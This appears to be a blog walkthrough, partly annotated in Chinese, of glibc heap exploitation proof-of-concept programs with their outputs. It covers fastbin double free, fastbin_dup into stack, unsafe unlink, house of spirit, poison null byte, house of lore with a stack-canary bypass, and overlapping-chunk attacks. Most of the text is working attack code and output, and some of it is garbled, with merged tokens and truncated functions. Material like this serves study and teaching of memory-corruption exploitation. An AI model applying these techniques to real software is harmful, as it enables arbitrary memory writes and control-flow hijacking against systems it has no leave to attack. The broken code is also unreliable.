intmain() { fprintf(stderr, "This file doesn't demonstrate an attack, but shows the nature of glibc's allocator.\n"); fprintf(stderr, "glibc uses a first-fit algorithm to select a free chunk.\n"); fprintf(stderr, "If a chunk is free and large enough, malloc will select this chunk.\n"); fprintf(stderr, "This can be exploited in a use-after-free situation.\n");
fprintf(stderr, "Allocating 2 buffers. They can be large, don't have to be fastbin.\n"); char* a = malloc(0x512); char* b = malloc(0x256); char* c;
fprintf(stderr, "1st malloc(0x512): %p\n", a); fprintf(stderr, "2nd malloc(0x256): %p\n", b); fprintf(stderr, "we could continue mallocing here...\n"); fprintf(stderr, "now let's put a string at a that we can read later \"this is A!\"\n"); strcpy(a, "this is A!"); fprintf(stderr, "first allocation %p points to %s\n", a, a);
fprintf(stderr, "Freeing the first one...\n"); free(a);
fprintf(stderr, "We don't need to free anything again. As long as we allocate smaller than 0x512, it will end up at %p\n", a);
fprintf(stderr, "So, let's allocate 0x500 bytes\n"); c = malloc(0x500); fprintf(stderr, "3rd malloc(0x500): %p\n", c); fprintf(stderr, "And put a different string here, \"this is C!\"\n"); strcpy(c, "this is C!"); fprintf(stderr, "3rd allocation %p points to %s\n", c, c); fprintf(stderr, "first allocation %p points to %s\n", a, a); fprintf(stderr, "If we reuse the first allocation, it now holds the data from the third allocation.\n"); }
运行结果如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
This file doesn't demonstrate an attack, but shows the nature of glibc's allocator. glibc uses a first-fit algorithm to select a free chunk. If a chunk is free and large enough, malloc will select this chunk. This can be exploited in a use-after-free situation. Allocating 2 buffers. They can be large, don't have to be fastbin. 1st malloc(0x512): 0x5555555592a0 2nd malloc(0x256): 0x5555555597c0 we could continue mallocing here... now let's put a string at a that we can read later "this is A!" first allocation 0x5555555592a0 points to this is A! Freeing the first one... We don't need to free anything again. As long as we allocate smaller than 0x512, it will end up at 0x5555555592a0 So, let's allocate 0x500 bytes 3rd malloc(0x500): 0x5555555592a0 And put a different string here, "this is C!" 3rd allocation 0x5555555592a0 points to this is C! first allocation 0x5555555592a0 points to this is C! If we reuse the first allocation, it now holds the data from the third allocation.
fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a); free(a);
fprintf(stderr, "Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a); a = malloc(8); b = malloc(8); c = malloc(8); fprintf(stderr, "1st malloc(8): %p\n", a); fprintf(stderr, "2nd malloc(8): %p\n", b); fprintf(stderr, "3rd malloc(8): %p\n", c);
assert(a == c); }
这里其实就是实现了一个double free的功能,最后malloc时会有两个堆块共用一个内存
执行结果
1 2 3 4 5 6 7 8 9 10 11 12 13
This file demonstrates a simple double-free attack with fastbins. Allocating 3 buffers. 1st malloc(8): 0x55555555b010 2nd malloc(8): 0x55555555b030 3rd malloc(8): 0x55555555b050 Freeing the first one... If we free 0x55555555b010 again, things will crash because 0x55555555b010 is at the top of the free list. So, instead, we'll free 0x55555555b030. Now, we can free 0x55555555b010 again, since it's not the head of the free list. Now the free list has [ 0x55555555b010, 0x55555555b030, 0x55555555b010 ]. If we malloc 3 times, we'll get 0x55555555b010 twice! 1st malloc(8): 0x55555555b010 2nd malloc(8): 0x55555555b030 3rd malloc(8): 0x55555555b010
intmain() { fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n" "returning a pointer to a controlled location (in this case, the stack).\n");
unsignedlonglong stack_var;
fprintf(stderr, "The address we want malloc() to return is %p.\n", 8+(char *)&stack_var);
fprintf(stderr, "Allocating 3 buffers.\n"); int *a = malloc(8); int *b = malloc(8); int *c = malloc(8);
fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a); free(a);
fprintf(stderr, "Now the free list has [ %p, %p, %p ]. " "We'll now carry out our attack by modifying data at %p.\n", a, b, a, a); unsignedlonglong *d = malloc(8);
fprintf(stderr, "1st malloc(8): %p\n", d); fprintf(stderr, "2nd malloc(8): %p\n", malloc(8)); fprintf(stderr, "Now the free list has [ %p ].\n", a); fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n" "so now we are writing a fake free size (in this case, 0x20) to the stack,\n" "so that malloc will think there is a free chunk there and agree to\n" "return a pointer to it.\n", a); stack_var = 0x20;
fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a); *d = (unsignedlonglong) (((char*)&stack_var) - sizeof(d));
fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8)); fprintf(stderr, "4th malloc(8): %p\n", malloc(8)); }
This file extends on fastbin_dup.c by tricking malloc into returning a pointer to a controlled location (in this case, the stack). The address we want malloc() to return is 0x7fffffffdd20. Allocating 3 buffers. 1st malloc(8): 0x55555555b010 2nd malloc(8): 0x55555555b030 3rd malloc(8): 0x55555555b050 Freeing the first one... If we free 0x55555555b010 again, things will crash because 0x55555555b010 is at the top of the free list. So, instead, we'll free 0x55555555b030. Now, we can free 0x55555555b010 again, since it's not the head of the free list. Now the free list has [ 0x55555555b010, 0x55555555b030, 0x55555555b010 ]. We'll now carry out our attack by modifying data at 0x55555555b010. 1st malloc(8): 0x55555555b010 2nd malloc(8): 0x55555555b030 Now the free list has [ 0x55555555b010 ]. Now, we have access to 0x55555555b010 while it remains at the head of the free list. so now we are writing a fake free size (in this case, 0x20) to the stack, so that malloc will think there is a free chunk there and agree to return a pointer to it. Now, we overwrite the first 8 bytes of the data at 0x55555555b010 to point right before the 0x20. 3rd malloc(8): 0x55555555b010, putting the stack address on the free list 4th malloc(8): 0x7fffffffdd20
void* p3 = malloc(0x400); fprintf(stderr, "Allocated large bin to trigger malloc_consolidate(): p3=%p\n", p3); fprintf(stderr, "In malloc_consolidate(), p1 is moved to the unsorted bin.\n"); free(p1); fprintf(stderr, "Trigger the double free vulnerability!\n"); fprintf(stderr, "We can pass the check in malloc() since p1 is not fast top.\n"); fprintf(stderr, "Now p1 is in unsorted bin and fast bin. So we'will get it twice: %p %p\n", malloc(0x40), malloc(0x40)); }
Allocated two fastbins: p1=0x55555555b010 p2=0x55555555b060 Now free p1! Allocated large bin to trigger malloc_consolidate(): p3=0x55555555b0b0 In malloc_consolidate(), p1 is moved to the unsorted bin. Trigger the double free vulnerability! We can pass the check in malloc() since p1 is not fast top. Now p1 is in unsorted bin and fast bin. So we'will get it twice: 0x55555555b010 0x55555555b010
intmain() { setbuf(stdout, NULL); printf("Welcome to unsafe unlink 2.0!\n"); printf("Tested in Ubuntu 14.04/16.04 64bit.\n"); printf("This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n"); printf("The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n");
int malloc_size = 0x80; //we want to be big enough not to use fastbins int header_size = 2;
printf("The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");
chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0 uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1 printf("The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr); printf("The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);
printf("We create a fake chunk inside chunk0.\n"); printf("We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n"); chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3); printf("We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n"); printf("With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n"); chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2); printf("Fake chunk fd: %p\n",(void*) chunk0_ptr[2]); printf("Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]);
printf("We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n"); uint64_t *chunk1_hdr = chunk1_ptr - header_size; printf("We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n"); printf("It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n"); chunk1_hdr[0] = malloc_size; printf("If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p\n",(void*)chunk1_hdr[0]); printf("We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n"); chunk1_hdr[1] &= ~1;
printf("Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n"); printf("You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n\n"); free(chunk1_ptr);
printf("At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n"); char victim_string[8]; strcpy(victim_string,"Hello!~"); chunk0_ptr[3] = (uint64_t) victim_string;
printf("chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n"); printf("Original value: %s\n",victim_string); chunk0_ptr[0] = 0x4141414142424242LL; printf("New Value: %s\n",victim_string);
Welcome to unsafe unlink 2.0! Tested in Ubuntu 14.04/16.04 64bit. This technique can be used when you have a pointer at a known location to a region you can call unlink on. The most common scenario is a vulnerable buffer that can be overflown and has a global pointer. The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.
The global chunk0_ptr is at 0x55d597f58068, pointing to 0x55d59851c010 The victim chunk we are going to corrupt is at 0x55d59851c0a0
We create a fake chunk inside chunk0. We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P. We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P. With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False Fake chunk fd: 0x55d597f58050 Fake chunk bk: 0x55d597f58058
We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata. We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk. It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: 0x80 We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.
Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr. You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344
At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location. chunk0_ptr is now pointing where we want, we use it to overwrite our victim string. Original value: Hello!~ New Value: BBBBAAAA��Q��U
intmain() { fprintf(stderr, "This file demonstrates the house of spirit attack.\n");
fprintf(stderr, "Calling malloc() once so that it sets up its memory.\n"); malloc(1);
fprintf(stderr, "We will now overwrite a pointer to point to a fake 'fastbin' region.\n"); unsignedlonglong *a; // This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY) unsignedlonglong fake_chunks[10] __attribute__ ((aligned (16)));
fprintf(stderr, "This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[9]);
fprintf(stderr, "This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n"); fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n"); fake_chunks[1] = 0x40; // this is the size
fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n"); // fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8 fake_chunks[9] = 0x1234; // nextsize
fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]); fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n"); a = &fake_chunks[2];
fprintf(stderr, "Freeing the overwritten pointer.\n"); free(a);
fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]); fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30)); }
This file demonstrates the house of spirit attack. Calling malloc() once so that it sets up its memory. We will now overwrite a pointer to point to a fake 'fastbin' region. This region (memory of length: 80) contains two chunks. The first starts at 0x7fffffffdce8 and the second at 0x7fffffffdd28. This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems. ... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size. Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, 0x7fffffffdce8. ... note that the memory address of the *region* associated with this chunk must be 16-byte aligned. Freeing the overwritten pointer. Now the next malloc will return the region of our fake chunk at 0x7fffffffdce8, which will be 0x7fffffffdcf0! malloc(0x30): 0x7fffffffdcf0
printf("Welcome to poison null byte 2.0!\n"); printf("Tested in Ubuntu 16.04 64bit.\n"); printf("This technique only works with disabled tcache-option for glibc, see build_glibc.sh for build instructions.\n"); printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n");
printf("We allocate 0x100 bytes for 'a'.\n"); a = (uint8_t*) malloc(0x100); printf("a: %p\n", a); int real_a_size = malloc_usable_size(a); printf("Since we want to overflow 'a', we need to know the 'real' size of 'a' " "(it may be more than 0x100 because of rounding): %#x\n", real_a_size);
/* chunk size attribute cannot have a least significant byte with a value of 0x00. * the least significant byte of this will be 0x10, because the size of the chunk includes * the amount requested plus some amount required for the metadata. */ b = (uint8_t*) malloc(0x200);
printf("b: %p\n", b);
c = (uint8_t*) malloc(0x100); printf("c: %p\n", c);
barrier = malloc(0x100); printf("We allocate a barrier at %p, so that c is not consolidated with the top-chunk when freed.\n" "The barrier is not strictly necessary, but makes things less confusing\n", barrier);
uint64_t* b_size_ptr = (uint64_t*)(b - 8);
// added fix for size==prev_size(next_chunk) check in newer versions of glibc // https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=17f487b7afa7cd6c316040f3e6c86dc96b2eec30 // this added check requires we are allowed to have null pointers in b (not just a c string) //*(size_t*)(b+0x1f0) = 0x200; printf("In newer versions of glibc we will need to have our updated size inside b itself to pass " "the check 'chunksize(P) != prev_size (next_chunk(P))'\n"); // we set this location to 0x200 since 0x200 == (0x211 & 0xff00) // which is the value of b.size after its first byte has been overwritten with a NULL byte *(size_t*)(b+0x1f0) = 0x200;
// this technique works by overwriting the size metadata of a free chunk free(b); printf("b.size: %#lx\n", *b_size_ptr); printf("b.size is: (0x200 + 0x10) | prev_in_use\n"); printf("We overflow 'a' with a single null byte into the metadata of 'b'\n"); a[real_a_size] = 0; // <--- THIS IS THE "EXPLOITED BUG" printf("b.size: %#lx\n", *b_size_ptr);
uint64_t* c_prev_size_ptr = ((uint64_t*)c)-2; printf("c.prev_size is %#lx\n",*c_prev_size_ptr);
// This malloc will result in a call to unlink on the chunk where b was. // The added check (commit id: 17f487b), if not properly handled as we did before, // will detect the heap corruption now. // The check is this: chunksize(P) != prev_size (next_chunk(P)) where // P == b-0x10, chunksize(P) == *(b-0x10+0x8) == 0x200 (was 0x210 before the overflow) // next_chunk(P) == b-0x10+0x200 == b+0x1f0 // prev_size (next_chunk(P)) == *(b+0x1f0) == 0x200 printf("We will pass the check since chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\n", *((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8)))); b1 = malloc(0x100);
printf("b1: %p\n",b1); printf("Now we malloc 'b1'. It will be placed where 'b' was. " "At this point c.prev_size should have been updated, but it was not: %#lx\n",*c_prev_size_ptr); printf("Interestingly, the updated value of c.prev_size has been written 0x10 bytes " "before c.prev_size: %lx\n",*(((uint64_t*)c)-4)); printf("We malloc 'b2', our 'victim' chunk.\n"); // Typically b2 (the victim) will be a structure with valuable pointers that we want to control
printf("Now we free 'b1' and 'c': this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').\n");
free(b1); free(c); printf("Finally, we allocate 'd', overlapping 'b2'.\n"); d = malloc(0x300); printf("d: %p\n",d); printf("Now 'd' and 'b2' overlap.\n"); memset(d,'D',0x300);
printf("New b2 content:\n%s\n",b2);
printf("Thanks to https://www.contextis.com/resources/white-papers/glibc-adventures-the-forgotten-chunks" "for the clear explanation of this technique.\n");
Welcome to poison null byte 2.0! Tested in Ubuntu 16.04 64bit. This technique only works with disabled tcache-option for glibc, see build_glibc.sh for build instructions. This technique can be used when you have an off-by-one into a malloc'ed region with a null byte. We allocate 0x100 bytes for 'a'. a: 0x55555555b010 Since we want to overflow 'a', we need to know the 'real' size of 'a' (it may be more than 0x100 because of rounding): 0x108 b: 0x55555555b120 c: 0x55555555b330 We allocate a barrier at 0x55555555b440, so that c is not consolidated with the top-chunk when freed. The barrier is not strictly necessary, but makes things less confusing In newer versions of glibc we will need to have our updated size inside b itself to pass the check 'chunksize(P) != prev_size (next_chunk(P))' b.size: 0x211 b.size is: (0x200 + 0x10) | prev_in_use We overflow 'a' with a single null byte into the metadata of 'b' b.size: 0x200 c.prev_size is 0x210 We will pass the check since chunksize(P) == 0x200 == 0x200 == prev_size (next_chunk(P)) b1: 0x55555555b120 Now we malloc 'b1'. It will be placed where 'b' was. At this point c.prev_size should have been updated, but it was not: 0x210 Interestingly, the updated value of c.prev_size has been written 0x10 bytes before c.prev_size: f0 We malloc 'b2', our 'victim' chunk. b2: 0x55555555b230 Current b2 content: BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB Now we free 'b1' and 'c': this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2'). Finally, we allocate 'd', overlapping 'b2'. d: 0x55555555b120 Now 'd' and 'b2' overlap. New b2 content: DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD Thanks to https://www.contextis.com/resources/white-papers/glibc-adventures-the-forgotten-chunksfor the clear explanation of this technique.
/* Advanced exploitation of the House of Lore - Malloc Maleficarum. This PoC take care also of the glibc hardening of smallbin corruption. [ ... ] else { bck = victim->bk; if (__glibc_unlikely (bck->fd != victim)){ errstr = "malloc(): smallbin double linked list corrupted"; goto errout; } set_inuse_bit_at_offset (victim, nb); bin->bk = bck; bck->fd = bin; [ ... ] */
fprintf(stderr, "\nWelcome to the House of Lore\n"); fprintf(stderr, "This is a revisited version that bypass also the hardening check introduced by glibc malloc\n"); fprintf(stderr, "This is tested against Ubuntu 16.04.6 - 64bit - glibc-2.23\n\n");
fprintf(stderr, "Allocating the victim chunk\n"); intptr_t *victim = malloc(0x100); fprintf(stderr, "Allocated the first small chunk on the heap at %p\n", victim);
// victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk intptr_t *victim_chunk = victim-2;
fprintf(stderr, "stack_buffer_1 at %p\n", (void*)stack_buffer_1); fprintf(stderr, "stack_buffer_2 at %p\n", (void*)stack_buffer_2);
fprintf(stderr, "Create a fake chunk on the stack\n"); fprintf(stderr, "Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted" "in second to the last malloc, which putting stack address on smallbin list\n"); stack_buffer_1[0] = 0; stack_buffer_1[1] = 0; stack_buffer_1[2] = victim_chunk;
fprintf(stderr, "Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 " "in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake " "chunk on stack"); stack_buffer_1[3] = (intptr_t*)stack_buffer_2; stack_buffer_2[2] = (intptr_t*)stack_buffer_1; fprintf(stderr, "Allocating another large chunk in order to avoid consolidating the top chunk with" "the small one during the free()\n"); void *p5 = malloc(1000); fprintf(stderr, "Allocated the large chunk on the heap at %p\n", p5);
fprintf(stderr, "Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim); free((void*)victim);
fprintf(stderr, "\nIn the unsorted bin the victim's fwd and bk pointers are nil\n"); fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]); fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);
fprintf(stderr, "Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin\n"); fprintf(stderr, "This means that the chunk %p will be inserted in front of the SmallBin\n", victim);
void *p2 = malloc(1200); fprintf(stderr, "The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %p\n", p2);
fprintf(stderr, "The victim chunk has been sorted and its fwd and bk pointers updated\n"); fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]); fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);
//------------VULNERABILITY-----------
fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");
victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack
//------------------------------------
fprintf(stderr, "Now allocating a chunk with size equal to the first one freed\n"); fprintf(stderr, "This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer\n");
void *p3 = malloc(0x100);
fprintf(stderr, "This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\n"); char *p4 = malloc(0x100); fprintf(stderr, "p4 = malloc(0x100)\n");
fprintf(stderr, "\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\n", stack_buffer_2[2]);
fprintf(stderr, "\np4 is %p and should be on the stack!\n", p4); // this chunk will be allocated on stack intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode memcpy((p4+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary
/* A simple tale of overlapping chunk. This technique is taken from http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf */
fprintf(stderr, "\nNow let's free the chunk p2\n"); free(p2); fprintf(stderr, "The chunk p2 is now in the unsorted bin ready to serve possible\nnew malloc() of its size\n");
fprintf(stderr, "Now let's simulate an overflow that can overwrite the size of the\nchunk freed p2.\n"); fprintf(stderr, "For a toy program, the value of the last 3 bits is unimportant;" " however, it is best to maintain the stability of the heap.\n"); fprintf(stderr, "To achieve this stability we will mark the least signifigant bit as 1 (prev_inuse)," " to assure that p1 is not mistaken for a free chunk.\n");
int evil_chunk_size = 0x181; int evil_region_size = 0x180 - 8; fprintf(stderr, "We are going to set the size of chunk p2 to to %d, which gives us\na region size of %d\n", evil_chunk_size, evil_region_size);
*(p2-1) = evil_chunk_size; // we are overwriting the "size" field of chunk p2
fprintf(stderr, "\nNow let's allocate another chunk with a size equal to the data\n" "size of the chunk p2 injected size\n"); fprintf(stderr, "This malloc will be served from the previously freed chunk that\n" "is parked in the unsorted bin which size has been modified by us\n"); p4 = malloc(evil_region_size);
fprintf(stderr, "\np4 has been allocated at %p and ends at %p\n", (char *)p4, (char *)p4+evil_region_size); fprintf(stderr, "p3 starts at %p and ends at %p\n", (char *)p3, (char *)p3+0x80-8); fprintf(stderr, "p4 should overlap with p3, in this case p4 includes all p3.\n");
fprintf(stderr, "\nNow everything copied inside chunk p4 can overwrites data on\nchunk p3," " and data written to chunk p3 can overwrite data\nstored in the p4 chunk.\n\n");
fprintf(stderr, "Let's run through an example. Right now, we have:\n"); fprintf(stderr, "p4 = %s\n", (char *)p4); fprintf(stderr, "p3 = %s\n", (char *)p3);
Let's start to allocate 3 chunks on the heap The 3 chunks have been allocated here: p1=0x55555555b010 p2=0x55555555b110 p3=0x55555555b210
Now let's free the chunk p2 The chunk p2 is now in the unsorted bin ready to serve possible new malloc() of its size Now let's simulate an overflow that can overwrite the size of the chunk freed p2. For a toy program, the value of the last 3 bits is unimportant; however, it is best to maintain the stability of the heap. To achieve this stability we will mark the least signifigant bit as 1 (prev_inuse), to assure that p1 is not mistaken for a free chunk. We are going to set the size of chunk p2 to to 385, which gives us a region size of 376
Now let's allocate another chunk with a size equal to the data size of the chunk p2 injected size This malloc will be served from the previously freed chunk that is parked in the unsorted bin which size has been modified by us
p4 has been allocated at 0x55555555b110 and ends at 0x55555555b288 p3 starts at 0x55555555b210 and ends at 0x55555555b288 p4 should overlap with p3, in this case p4 includes all p3.
Now everything copied inside chunk p4 can overwrites data on chunk p3, and data written to chunk p3 can overwrite data stored in the p4 chunk.
Let's run through an example. Right now, we have: p4 = x�� p3 = 333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333�
If we memset(p4, '4', 376), we have: p4 = 4444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444� p3 = 444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444�
And if we then memset(p3, '3', 80), we have: p4 = 4444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444333333333333333333333333333333333333333333333333333333333333333333333333333333334444444444444444444444444444444444444444� p3 = 333333333333333333333333333333333333333333333333333333333333333333333333333333334444444444444444444444444444444444444444�
/* Yet another simple tale of overlapping chunk. This technique is taken from https://loccs.sjtu.edu.cn/wiki/lib/exe/fetch.php?media=gossip:overview:ptmalloc_camera.pdf. This is also referenced as Nonadjacent Free Chunk Consolidation Attack. */
intmain(){ intptr_t *p1,*p2,*p3,*p4,*p5,*p6; unsignedint real_size_p1,real_size_p2,real_size_p3,real_size_p4,real_size_p5,real_size_p6; int prev_in_use = 0x1;
fprintf(stderr, "\nThis is a simple chunks overlapping problem"); fprintf(stderr, "\nThis is also referenced as Nonadjacent Free Chunk Consolidation Attack\n"); fprintf(stderr, "\nLet's start to allocate 5 chunks on the heap:");
fprintf(stderr, "\n\nchunk p1 from %p to %p", p1, (unsignedchar *)p1+malloc_usable_size(p1)); fprintf(stderr, "\nchunk p2 from %p to %p", p2, (unsignedchar *)p2+malloc_usable_size(p2)); fprintf(stderr, "\nchunk p3 from %p to %p", p3, (unsignedchar *)p3+malloc_usable_size(p3)); fprintf(stderr, "\nchunk p4 from %p to %p", p4, (unsignedchar *)p4+malloc_usable_size(p4)); fprintf(stderr, "\nchunk p5 from %p to %p\n", p5, (unsignedchar *)p5+malloc_usable_size(p5));
memset(p1,'A',real_size_p1); memset(p2,'B',real_size_p2); memset(p3,'C',real_size_p3); memset(p4,'D',real_size_p4); memset(p5,'E',real_size_p5); fprintf(stderr, "\nLet's free the chunk p4.\nIn this case this isn't coealesced with top chunk since we have p5 bordering top chunk after p4\n"); free(p4);
fprintf(stderr, "\nLet's trigger the vulnerability on chunk p1 that overwrites the size of the in use chunk p2\nwith the size of chunk_p2 + size of chunk_p3\n");
fprintf(stderr, "\nNow during the free() operation on p2, the allocator is fooled to think that \nthe nextchunk is p4 ( since p2 + size_p2 now point to p4 ) \n"); fprintf(stderr, "\nThis operation will basically create a big free chunk that wrongly includes p3\n"); free(p2); fprintf(stderr, "\nNow let's allocate a new chunk with a size that can be satisfied by the previously freed chunk\n");
fprintf(stderr, "\nOur malloc() has been satisfied by our crafted big free chunk, now p6 and p3 are overlapping and \nwe can overwrite data in p3 by writing on chunk p6\n"); fprintf(stderr, "\nchunk p6 from %p to %p", p6, (unsignedchar *)p6+real_size_p6); fprintf(stderr, "\nchunk p3 from %p to %p\n", p3, (unsignedchar *) p3+real_size_p3);
This is a simple chunks overlapping problem This is also referenced as Nonadjacent Free Chunk Consolidation Attack
Let's start to allocate 5 chunks on the heap:
chunk p1 from 0x55555555b010 to 0x55555555b3f8 chunk p2 from 0x55555555b400 to 0x55555555b7e8 chunk p3 from 0x55555555b7f0 to 0x55555555bbd8 chunk p4 from 0x55555555bbe0 to 0x55555555bfc8 chunk p5 from 0x55555555bfd0 to 0x55555555c3b8
Let's free the chunk p4. In this case this isn't coealesced with top chunk since we have p5 bordering top chunk after p4
